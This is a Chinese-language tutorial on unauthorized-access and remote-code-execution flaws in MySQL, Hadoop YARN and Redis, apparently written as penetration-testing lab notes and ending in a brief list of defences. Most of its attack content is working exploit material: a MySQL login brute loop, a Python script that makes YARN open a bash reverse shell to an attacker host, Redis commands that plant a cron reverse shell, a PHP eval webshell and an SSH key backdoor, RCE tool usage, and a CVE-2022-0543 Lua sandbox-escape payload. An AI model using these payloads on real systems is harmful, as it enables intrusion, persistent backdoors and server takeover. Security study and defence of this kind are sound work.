数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE
字数 1068 2025-08-10 10:14:26
数据库未授权访问漏洞与RCE利用详解
一、未授权访问漏洞概述
未授权访问漏洞是指需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露的安全问题。
常见未授权访问路径
- /admin.php
- /menu.php
常见未授权访问默认端口
[21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088, 8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017]
二、MySQL未授权访问漏洞(CVE-2012-2122)
漏洞复现步骤
- 开启vulhub靶场环境
- 执行payload:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
- 等待执行后,会直接进入数据库
三、Hadoop未授权访问三重奏&RCE漏洞
漏洞利用步骤
- 准备Python攻击脚本:
#!/usr/bin/env python
import requests
target = 'http://192.168.100.134:8088/'
lhost = '192.168.100.1' # 修改为攻击机IP
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
- 攻击端开启监听:
nc -lvvp 9999
- 执行Python脚本,成功反弹shell后可执行命令
四、Redis未授权访问漏洞
漏洞定义
Redis未授权访问漏洞是由于Redis服务器版本较低且未设置登录密码导致的漏洞,攻击者可直接利用Redis服务器的IP地址和端口完成远程登录。
漏洞成因
- Redis版本4.x/5.0.5或以前
- Redis绑定在0.0.0.0:6379,无防火墙规则限制
- 未设置密码认证(一般为空)
漏洞危害
- 写入计划任务反弹shell
- 写入webshell控制网站服务器
- 如果Redis以root身份运行,可写入SSH公钥文件直接登录
漏洞验证
redis-cli -h IP
info
出现内容即证明存在漏洞
漏洞利用方式
1. 写计划任务反弹shell
config set dir /var/spool/cron
config set dbfilename root
set ssr "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/攻击IP/1234 0>&1\n\n"
save
攻击机监听:
nc -lvvp 1234
2. 写webshell
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']);?>"
save
3. 写SSH公钥实现登录
- 攻击机和靶机开启SSH服务
- 目标机创建SSH公钥目录:
mkdir /root/.ssh
- 攻击机生成SSH公钥:
ssh-keygen -t rsa
- 将公钥写入文件:
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
- 将公钥内容写入Redis:
cat 1.txt | redis-cli -h 目标IP -x set crack
- 连接目标Redis并执行:
config set dir /root/.ssh
config set dbfilename authorized_keys
save
- 攻击机SSH免密登录:
ssh -i id_rsa root@目标IP
Redis命令执行(RCE)自动化工具
工具地址:redis-master.py
使用示例:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
Redis沙箱绕过(CVE-2022-0543)
payload示例:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
五、防御措施
- 设置强密码认证
- 限制访问IP
- 使用最新版本软件
- 修改默认端口
- 限制运行权限
- 启用防火墙规则
- 定期安全审计
通过以上详细教学,可以全面了解数据库未授权访问漏洞的原理、利用方式和防御措施,为安全测试和防御提供参考。